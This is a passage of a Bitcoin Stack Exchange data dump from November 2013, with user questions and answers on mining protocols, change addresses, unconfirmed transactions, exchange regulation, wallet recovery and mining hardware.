question:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The legacy bitcoin RPC call you could use is &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow noreferrer&quot;&gt;getwork&lt;/a&gt;. You can probably find a mining pool that supports it (but I haven't checked that). One minimalistic sample implementation, &lt;a href=&quot;https://github.com/lithander/Minimal-Bitcoin-Miner&quot; rel=&quot;nofollow noreferrer&quot;&gt;Minimal-Bitcoin-Miner on github&lt;/a&gt;, can be found linked to and with what you call the &quot;tryHash&quot; bit discussed in the question linked to by RentFree in a comment to your question.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The newer &lt;a href=&quot;https://en.bitcoin.it/wiki/Getblocktemplate&quot; rel=&quot;nofollow noreferrer&quot;&gt;getblocktemplate&lt;/a&gt; may work better for you. Many mining pools seem to support it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want to work in a specific pool, check if they are inventing their own protocol, just in case that suits you even better. &lt;a href=&quot;http://mining.bitcoin.cz/stratum-mining&quot; rel=&quot;nofollow noreferrer&quot;&gt;Slush's protocol&lt;/a&gt; is one example.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Good luck and let us know when (if ever) you can unveil your hash-solving black box!&#xA;If it promises to work well enough to support paid help, may I apply, having expertise spanning pretty much anything that might be relevant (quantum physics, electronics, programming, mathematics)?&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-11-20T19:09:41.787" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16970" PostTypeId="1" AcceptedAnswerId="16972" CreationDate="2013-11-20T19:28:36.663" Score="0" ViewCount="1641" Body="&lt;p&gt;I sent bitcoins for the first time to my friend. He has an address 1JkqP4qMvVpQApqyH4m9J4LBdqfFacMKSf &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I chose to send them through my wallet on Bitcoin-QT, but I was interested to check blockchain.info about the transaction as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that blockchain.info shows that I sent bitcoins to another address as well! Can anyone explain why it shows that I sent bitcoins (about $30) to the address 1NTyaVoNrQYx2PA5ce7bVmqA6jfmSSkvxU on blockchain.info? I definitely did not send to that address...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/THq95.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my Bitcoin-QT client window. It shows the correct transaction amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3HKEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8725" LastEditorUserId="5757" LastEditDate="2013-11-20T23:43:41.190" LastActivityDate="2013-11-20T23:43:41.190" Title="What is this extra address on blockchain.info?" Tags="|blockchain.info|change|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-28T22:13:35.757" ContentLicense="CC BY-SA 3.0" />
  <row Id="16971" PostTypeId="2" ParentId="16967" CreationDate="2013-11-20T19:34:51.153" Score="3" Body="&lt;p&gt;I think MtGox usually gives you a transaction hash immediately. You can use it to track it, for example on the &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;blockchain&lt;/a&gt; or &lt;a href=&quot;https://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;blockexplorer&lt;/a&gt; websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even without the transaction hash, you can still use these websites to try and find it by looking for the Bitcoin address you have withdrawn to. You may wish to check your MtGox account history to see which Bitcoin address they sent your Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not see the transaction, don't panic. Especially if you have not included a transaction fee, miners may be slow to incorporate it into any block, in which case these websites will not find the transaction in any block, and might indeed not have seen the transaction at all.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-20T19:49:31.597" LastActivityDate="2013-11-20T19:49:31.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16972" PostTypeId="2" ParentId="16970" CreationDate="2013-11-20T19:46:23.197" Score="3" Body="&lt;p&gt;This is because you did not have a coin that exactly matched the amount you wanted to send to your friend.  So bitcoin had to split a larger coin into 2 coins... 1 with the amount to send to your friend and the rest as &quot;change&quot; to send back to you.  The address you don't recognize is a new address that was created for the change, and it's in your wallet.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-20T19:46:23.197" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16973" PostTypeId="5" CreationDate="2013-11-20T20:36:25.763" Score="0" Body="&lt;p&gt;With Bitcoin and its relatives, the protocol specifies that when a transaction spends an output of a previous transaction, it must spend the entire amount.  If the sender doesn't actually want to spend that much, the new transaction includes an extra output, sending the remaining coins back to a (new or existing) address belonging to the sender.  This is called &lt;strong&gt;change&lt;/strong&gt; by analogy with the real-world process of paying a large note for a small purchase, and receiving the difference back in smaller denominations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information can be found at &lt;a href=&quot;https://en.bitcoin.it/wiki/Change&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Change&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2013-11-21T04:02:13.637" LastActivityDate="2013-11-21T04:02:13.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16974" PostTypeId="4" CreationDate="2013-11-20T20:36:25.763" Score="0" Body="Splitting a transaction and sending some of the coins back to the sender.  Necessary for some currencies due to the design of the protocol." OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2013-11-21T05:31:56.207" LastActivityDate="2013-11-21T05:31:56.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16976" PostTypeId="1" CreationDate="2013-11-20T22:32:13.433" Score="3" ViewCount="270" Body="&lt;p&gt;From what I understand, Bitstamp is not registered with FinCEN, whereas Mt.Gox is, does this mean Bitstamp is in danger of being shut down?&lt;/p&gt;&#xA;" OwnerUserId="9034" LastEditorUserId="5406" LastEditDate="2014-01-14T23:03:29.017" LastActivityDate="2014-01-14T23:03:29.017" Title="Do bitcoin exchanges based outside of the US who serve US customers have to register with FinCEN as MSBs?" Tags="|exchanges|mtgox|legal|bitstamp|fincen|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16977" PostTypeId="2" ParentId="16976" CreationDate="2013-11-20T23:50:55.393" Score="1" Body="&lt;p&gt;The short (slightly oversimplified) answer is that most consumer protection oriented laws (including Money Services Business and Money Transmitter laws) apply to the &lt;strong&gt;consumers&lt;/strong&gt; themselves. So if you serve customers in the US, you must comply with the laws that protect those customers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IANAL, YMMV, etc. Consult an attorney specializing in MSB/Money Transmitter laws for an more accurate application of the laws to your business model.&lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-11-20T23:50:55.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16979" PostTypeId="1" CreationDate="2013-11-21T00:44:06.047" Score="1" ViewCount="1936" Body="&lt;p&gt;Thanks in advance for any light you can shed on my problem..&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I think I sent bitcoins from an online wallet to my offline wallet BitcoinQT(0.81) in august.&lt;/li&gt;&#xA;&lt;li&gt;The transaction has been confirmed, but not redeemed, (due to my offline wallet not being synced i believe)&lt;/li&gt;&#xA;&lt;li&gt;I encrypted today, before bitcoinqt had completed initial sync.&lt;/li&gt;&#xA;&lt;li&gt;Now i've just realised &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1bhky4/i_recovered_my_lost_bitcoins/&quot; rel=&quot;nofollow&quot;&gt;that&lt;/a&gt; I've probably lost the associated change address in the unencrypted wallet. as the address it was sent to was not the same as the receive address that showed in bitcoinQTfrom the unencrypted wallet.&lt;/li&gt;&#xA;&lt;li&gt;i have no backup of the unencrypted wallet.dat&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q1. Am I correct that i've lost my bitcoins?&lt;br&gt;&#xA;Q2. Does bitcoinqt overwrite the wallet.dat file when it encrypts the wallet? or does it create a new copy, such that I may be able to recover the old wallet.dat using recovery sw like testdisk?&lt;br&gt;&#xA;Q3. If answer to Q2 is not overwritten, what is the likelihood of being able to retrieve the unencrypted wallet.dat or change addresses considering the bitcoinqt client was syncing/processing blocks for about 20mins before i shutdown?&lt;br&gt;&#xA;Q4. Would it be possible to recover the wallet.dat from the app data folder in a system restore (winxp)?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;22/11/2013  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update Q1: Looks likely that i've either sent them to a different wallet - or my blockchain.info account (with 2FA) was hacked. :(&lt;br&gt;&#xA;Update Q2: Bitcoinqt does not immediately overwrite the unencrypted wallet.dat after encrypting the file.&lt;br&gt;&#xA;Update: Q4: It may have been possible to recover the walllet.app from the app data folder in system restore (but i didn't have this enabled)&lt;br&gt;&#xA;Lesson learnt? too early to say, but always keep a backup...&lt;/p&gt;&#xA;" OwnerUserId="9054" LastEditorUserId="9054" LastEditDate="2013-11-23T22:35:36.927" LastActivityDate="2019-06-27T15:01:25.443" Title="Sent bitcoins to my unencrypted wallet and encrypted the wallet before file synced, is there any way i can get them back?" Tags="|bitcoin-core|synchronization|wallet.dat|change|address-generation|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="16980" PostTypeId="2" ParentId="16666" CreationDate="2013-11-21T00:48:43.613" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://coinvoice.com/&quot; rel=&quot;nofollow&quot;&gt;Coinvoice&lt;/a&gt; lets you invoice in USD and get paid in bitcoin. Sorry if you need the exact workflow described above. I'm not aware of many services that sell bitcoin and take credit card for payment.&lt;/p&gt;&#xA;" OwnerUserId="841" LastActivityDate="2013-11-21T00:48:43.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16982" PostTypeId="1" CreationDate="2013-11-21T01:04:29.550" Score="-1" ViewCount="356" Body="&lt;p&gt;I accidentally clicked on &lt;em&gt;close wallet&lt;/em&gt; and now I do not know how to open it. I don't even know where it's saved. When I click on multibit.exe it shows nothing. No wallet. Please advise what to do.&lt;/p&gt;&#xA;" OwnerUserId="9056" LastEditorUserId="5406" LastEditDate="2013-11-22T02:30:39.643" LastActivityDate="2014-03-06T09:03:47.217" Title="How can I open a wallet in multibit, after clicking &quot;close wallet&quot;?" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16983" PostTypeId="1" CreationDate="2013-11-21T02:50:41.527" Score="0" ViewCount="1311" Body="&lt;p&gt;Two of my transactions are still unconfirmed after more than 24 hours. The estimated confirmation times at blockchain.info are not accurate.  5 hours ago the estimate was 3 hours now it's saying 22 hours....etc. I know it's because I made the mistake of not including a miners fee. I'll never do that again.  My question is, will they definitely be confirmed eventually?  What happens if they're not?  Here's the link to one of the transactions:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/3254c99062b53b1988e84cccdf6c45b2d1fbf429f91c924d916e854797dd8819&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/3254c99062b53b1988e84cccdf6c45b2d1fbf429f91c924d916e854797dd8819&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9060" LastActivityDate="2013-11-21T04:08:13.520" Title="Unconfirmed Transactions" Tags="|transactions|transaction-fees|unconfirmed-transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-24T21:18:24.037" ContentLicense="CC BY-SA 3.0" />
  <row Id="16984" PostTypeId="2" ParentId="9379" CreationDate="2013-11-21T03:04:45.890" Score="-2" Body="&lt;p&gt;ANYONE can contract board work, if he can do the layout himself. There are several board layout programs that will let you do this. &#xA;There are plenty of board manufacturers that produce your boards, if you do the layout and send it to them. Some will even check your work to make sure it will work, for an extra fee, if you tell them your intentions. Signed contracts will keep your stuff safe from duplication. And if you keep some information to yourself, such as the finished product, it will keep it even safer.&#xA;All you need is the pin-outs of the chips you are going to use, know how to write the firmware for it, and there are some sellers/resellers that will sell you their mining chips (ASICs I mean). If they do sell them to you, they will surely give you the information on how to hook them up (pin-outs), or they would be useless to sell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It IS true that actually having an ASIC made will be more than difficult, but if THEY can do it, so can you.&#xA;Right now (11-2013), there are chips available to use in building your machine(s). However, these are mostly older model chips (128ns or higher, usually), so you will have to use a lot of them to get anything up to today's par.&#xA;Keeping this in mind, there are usually several things that are static on the pins, such as power, communications to and from the chip, and auxiliary pins for connecting capacitors, resistors, timing clocks (crystals), used to control the circuit and chip, what speed it runs, etc. A 128 pin chip, needs most, if not all of those lines connected to something.&lt;/p&gt;&#xA;" OwnerUserId="9061" LastEditorUserId="5406" LastEditDate="2013-11-21T10:53:06.967" LastActivityDate="2013-11-21T10:53:06.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16986" PostTypeId="1" AcceptedAnswerId="18217" CreationDate="2013-11-21T03:14:47.730" Score="1" ViewCount="8225" Body="&lt;p&gt;I have been exploring mining hardware at &lt;a href=&quot;http://mining.thegenesisblock.com&quot; rel=&quot;nofollow&quot;&gt;http://mining.thegenesisblock.com&lt;/a&gt; today.  No matter what hardware I look at, all of them are making no profit by Oct 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this a good purchase?  I assume the answer is that if you spend 5K on hardware and electricity and make 60K back in bitcoin in a years time, then you can consider it a good purchase (even though the hardware is now losing money).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how is this model sustainable?  Will new hardware be developed fast enough to continue mining past the middle of 2014?  Am I reading too much into that prediction tool?&lt;/p&gt;&#xA;" OwnerUserId="9059" LastEditorUserId="5406" LastEditDate="2016-03-17T15:51:12.403" LastActivityDate="2016-03-17T15:51:12.403" Title="Mining Hardware lifespan is less than a year?" Tags="|mining-profitability|mining-hardware|" AnswerCount="2" CommentCount="3" ClosedDate="2016-03-17T15:51:41.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="16987" PostTypeId="1" CreationDate="2013-11-21T03:54:50.740" Score="0" ViewCount="241" Body="&lt;p&gt;Honest mistake, I thought Bitcoin-Qt would ask if I wanted to add the fee which it did not. What are the chances this transaction will make it through? Is there anyway I can cancel this transaction or do I have to just wait it out and see? It was sent from Bitcoin-Qt v0.8.2-beta&lt;/p&gt;&#xA;" OwnerUserId="9063" LastActivityDate="2014-01-20T08:15:31.840" Title="Sent a 1079 byte transaction without a fee on accident" Tags="|bitcoin-core|transaction-fees|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16988" PostTypeId="2" ParentId="16983" CreationDate="2013-11-21T04:08:13.520" Score="0" Body="&lt;p&gt;They will probably be confirmed eventually. But you don't have to wait. You can just form new transactions that spend the same outputs with the normal fee. The fact that there exists a conflicting unconfirmed transaction will have no effect on other transactions that attempt to spend the same outputs. You can be 100% sure they won't both go through, since an output can only be spent once. Unfortunately, depending on what tools you have, this may be difficult to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-21T04:08:13.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16990" PostTypeId="1" CreationDate="2013-11-21T05:07:05.590" Score="1" ViewCount="8979" Body="&lt;p&gt;I am trying to set up my Debian Server so that I can join a mining pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know that I am going to use &lt;code&gt;cgminer&lt;/code&gt; for the mining software because it will work with the server format (command line).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am not sure about is what type of wallet I should use and how I would link multiple machines to one wallet (I want to use my home computer as well).&lt;/p&gt;&#xA;" OwnerUserId="9066" LastEditorUserId="5406" LastEditDate="2016-04-24T09:54:27.063" LastActivityDate="2017-12-11T03:37:43.560" Title="What wallet should I use to collect the mining payout from multiple machines?" Tags="|wallet|mining-pools|miner-configuration|mining-reward|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16991" PostTypeId="1" CreationDate="2013-11-21T05:55:03.973" Score="0" ViewCount="206" Body="&lt;p&gt;I started with Bitcoin a few days ago, and have mainly been going to free faucets and sites like that to get free Bitcoins. I just recently found out about Bitcoin games like the one at &lt;a href=&quot;https://satoshimines.com/&quot; rel=&quot;nofollow&quot;&gt;https://satoshimines.com/&lt;/a&gt;. I played around with it and like it, but I tried to transfer some Bitcoins to my account on that website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would not let me, and gave this reason...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;There are not enough funds in this wallet to send 0.00001634 BTC  ($0.01) .&#xA;Note that you can only spend confirmed transactions.&#xA;Remember that the sender pays a fee.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have &lt;code&gt;0.00008 bitcoins&lt;/code&gt; as of right now.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My BitChain - &lt;a href=&quot;https://blockchain.info/address/148AadbRDjYeLSn4ZTe73bButUngMKz4cW&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/148AadbRDjYeLSn4ZTe73bButUngMKz4cW&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, when I start playing the game linked above, it states not to share the link. Why?&lt;/p&gt;&#xA;" OwnerUserId="9052" LastActivityDate="2013-11-21T15:28:24.417" Title="For the Noobs: Starting Bitcoin games. I cannot transfer Bitcoins, or use Faucets" Tags="|earnings|gaming|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16992" PostTypeId="2" ParentId="16987" CreationDate="2013-11-21T07:19:39.347" Score="1" Body="&lt;p&gt;Bitcoin-Qt will insist you add a fee if (and only if) it's required to get confirmed &lt;em&gt;ever&lt;/em&gt; - so it should confirm eventually. If you want to always include a fee for a faster confirmation, go into Settings. Unfortunately, while Bitcoin allows you to add a fee later, Bitcoin-Qt does not support this.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-21T07:19:39.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16993" PostTypeId="2" ParentId="16990" CreationDate="2013-11-21T07:21:44.000" Score="2" Body="&lt;p&gt;Regardless of what wallet you use, it's entirely unrelated to your mining except as a payout. The address you withdraw to can be in a wallet anywhere (even offline).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. You should really consider upgrading to &lt;a href=&quot;http://bfgminer.com&quot; rel=&quot;nofollow&quot;&gt;BFGMiner&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-21T07:21:44.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16994" PostTypeId="2" ParentId="16942" CreationDate="2013-11-21T07:27:33.623" Score="1" Body="&lt;p&gt;It's possible, but Bitcoin was designed to have humans filtering transactions for just this reason. Miners have the responsibility to keep the blockchain free of spam, and nodes can help filter it at the network/relay level. Often this is done by only relaying/mining transactions that have certain properties (ie, obviously aren't likely to be spam because they move a high volume of old coins) or transaction fees (so that spamming is expensive). Some spammers exploit human weakness and trick gamblers into paying fees for them, so some miners employ more advanced spam filters to try to identify these as well.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-21T07:27:33.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16996" PostTypeId="2" ParentId="16882" CreationDate="2013-11-21T07:32:12.507" Score="4" Body="&lt;p&gt;The primary purpose of mining is to secure the bitcoin blockchain from hostile entities. It is designed such that it should only be minimally profitable over the cheapest electricity costs with the most efficient mining, and thus achieve the highest security without unjustly enrichening miners. Unfortunately, the difficulty is slow to adapt, and this combined with preorders creates an unreasonably high demand for mining hardware.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-21T07:32:12.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16997" PostTypeId="2" ParentId="16951" CreationDate="2013-11-21T07:37:18.957" Score="2" Body="&lt;p&gt;cgminer's FPGA and ASIC support was originally taken from &lt;a href=&quot;http://bfgminer.com&quot; rel=&quot;nofollow&quot;&gt;BFGMiner&lt;/a&gt;. Due to the maintainers of GPU mining being upset over the obsoletion of GPU mining, they forked the project and eventually (poorly) rewrote the FPGA/ASIC drivers. You are seeing the effects of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BFGMiner continues to maintain the original (working) drivers, but you will need to remove the Zadig/WinUSB driver and install &lt;a href=&quot;http://www.silabs.com/products/mcu/pages/usbtouartbridgevcpdrivers.aspx&quot; rel=&quot;nofollow&quot;&gt;the official CP210x driver&lt;/a&gt; provided by Silabs. (CP210x is the chip used by the Block Erupters)&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2013-11-21T07:37:18.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16998" PostTypeId="1" CreationDate="2013-11-21T08:44:41.347" Score="2" ViewCount="461" Body="&lt;p&gt;I using CoinBase API for transactions in a game. I assign a callback URL with the address so as to get instant notification on payment transactions. the URL is called but it is not sending any data. Actually which parameter to get is not clear so used getParameterMap method, but it doesn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="8703" LastActivityDate="2013-11-21T08:44:41.347" Title="CoinBase Callback URL in Java" Tags="|transactions|api|coinbase.com|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16999" PostTypeId="1" CreationDate="2013-11-21T09:23:21.877" Score="4" ViewCount="414" Body="&lt;p&gt;I did a presentation for my office and during the presentation I was asked a question that I was not prepared for. It's a more technical question from my perspective, but someone here might already know the answer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We know that every 10 min a block is created. And a new block has information of the previous block along with its findings and submitted to the net to be verified. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is when a pool or an individual miner is doing the verification, do they verify all the transactions starting from Genesis block till the most recent one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this goes on after each block is verified. Meaning every new block that needs verification needs to be verified along with all the previous transactions starting from the Genesis block?&lt;/p&gt;&#xA;" OwnerUserId="9072" LastEditorUserId="5406" LastEditDate="2013-11-21T11:22:38.240" LastActivityDate="2015-05-13T08:54:52.193" Title="Do all block have to be verified every time a new block is broadcasted?" Tags="|block|synchronization|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17000" PostTypeId="2" ParentId="16918" CreationDate="2013-11-21T10:19:45.237" Score="22" Body="&lt;p&gt;A large investor might be trying to move the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sell walls create an impression of a strong supply. This makes some people, unwilling to wait for the wall to break down, pitch their sales offers below the wall. By moving the wall closer to the current bid again, a large investor might be able to move the market to a small extent and then buy at a lower price. The investor's goal is to move the market, not to actually sell his supply at that price, so when the price gets too close, such walls often disappear or move to a higher price. Especially, if you see the same amount popping up at different prices, there is probably someone trying to move the market without actually fulfilling orders or bids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another type of sell wall is composed of many combined sales offers at certain landmark prices, e.g. $600. These usually don't move around.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-21T10:19:45.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17002" PostTypeId="2" ParentId="4763" CreationDate="2013-11-21T10:28:03.003" Score="1" Body="&lt;p&gt;You could try reselling your FPGA board, especially if it is a fairly generic board rather than one purpose-built for mining. I remember having bought one for an electronics prototyping project. And some young electronics enthusiasts can be rather budget-constrained, so there are chances you can get (some) money for it, though surely nothing close to what the latest and coolest prototyping boards will fetch...&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-21T10:28:03.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17004" PostTypeId="2" ParentId="16999" CreationDate="2013-11-21T11:19:06.940" Score="3" Body="&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: &lt;em&gt;Each block only needs to be verified once. Upon receiving a new block, only the reference to the parent and the validity of the new block need to be checked.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When one gets started with Bitcoin, the client or mining software will download and verify the blockchain. During this &lt;em&gt;synchronization&lt;/em&gt;, each block starting from the genesis block will be verified by the client. This is only necessary once for each block, because new blocks always reference the hash of the preceeding block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. when you are trying to verify &lt;code&gt;Block 5&lt;/code&gt;, it will contain the hash of it's parent, &lt;code&gt;Block 4&lt;/code&gt;. As your client has already verified that &lt;code&gt;Block 4&lt;/code&gt; is valid, and if the hash featured in the new &lt;code&gt;Block 5&lt;/code&gt; matches the known hash of &lt;code&gt;Block 4&lt;/code&gt;, it can go straight ahead and only check whether the new &lt;code&gt;Block 5&lt;/code&gt; is valid.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-05-13T08:54:52.193" LastActivityDate="2015-05-13T08:54:52.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17005" PostTypeId="1" AcceptedAnswerId="17011" CreationDate="2013-11-21T12:15:15.297" Score="-1" ViewCount="123" Body="&lt;p&gt;I'm new in the world of Bitcoin yet, and my first toght was that I my buy BTCs for dollars and then sell them if the exchange rate is bigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would it be worth? Or I shouldn't even give it a try?&lt;/p&gt;&#xA;" OwnerUserId="9077" LastActivityDate="2013-11-21T13:42:18.467" Title="Would trading with Bitcoin be worth?" Tags="|trading|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17006" PostTypeId="2" ParentId="16679" CreationDate="2013-11-21T12:19:37.973" Score="1" Body="&lt;p&gt;Assuming that the BTC price is falling against USD, either BTC/LTC will remain stable and LTC will crash proportionately against USD &lt;strong&gt;or&lt;/strong&gt; LTC/USD will remain stable and BTC will crash against LTC &lt;strong&gt;or&lt;/strong&gt; something in between.  Otherwise, there will be arbitrage opportunities by changing by using LTC as an intermediary between BTC and USD&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-21T12:19:37.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17007" PostTypeId="1" CreationDate="2013-11-21T12:56:04.643" Score="15" ViewCount="29641" Body="&lt;p&gt;What do I need to setup a bitcoin exchange website like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC China&lt;/li&gt;&#xA;&lt;li&gt;Mt Gox&lt;/li&gt;&#xA;&lt;li&gt;Bitstamp&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have my own web development team and we can code pretty much anything so that is not a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss when it comes to know-how of this bitcoin business.&#xA;How do these exchanges even work? What would I as a provider need? Money (bitcoins)?&lt;/p&gt;&#xA;" OwnerUserId="9082" LastEditorUserId="132" LastEditDate="2013-12-12T12:38:53.690" LastActivityDate="2014-03-20T11:12:32.183" Title="What is needed to make a bitcoin exchange?" Tags="|exchanges|buy-bitcoins|sell-bitcoins|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17008" PostTypeId="2" ParentId="17007" CreationDate="2013-11-21T13:09:34.880" Score="3" Body="&lt;p&gt;From the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Website&lt;/li&gt;&#xA;&lt;li&gt;User account management&lt;/li&gt;&#xA;&lt;li&gt;Fulfillment of legalities (all depending on local law): Know-Your-Customer, Anti-Money-Laundering, license to exchange currencies, banking licenses, money transmission license&lt;/li&gt;&#xA;&lt;li&gt;Banking partnership/account in order to process Deposits and Withdrawals in at least one currency other than Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Deposits and Withdrawals in Bitcoin&lt;/li&gt;&#xA;&lt;li&gt;Safe Storage of Bitcoins&lt;/li&gt;&#xA;&lt;li&gt;Some sort of Market software&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You probably want to find a lawyer to tell you what legal requirements you need to fulfill for your Nation's jurisdiction, and perhaps somebody that can help you with the economical/marketing side of things.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-12-12T13:34:06.993" LastActivityDate="2013-12-12T13:34:06.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
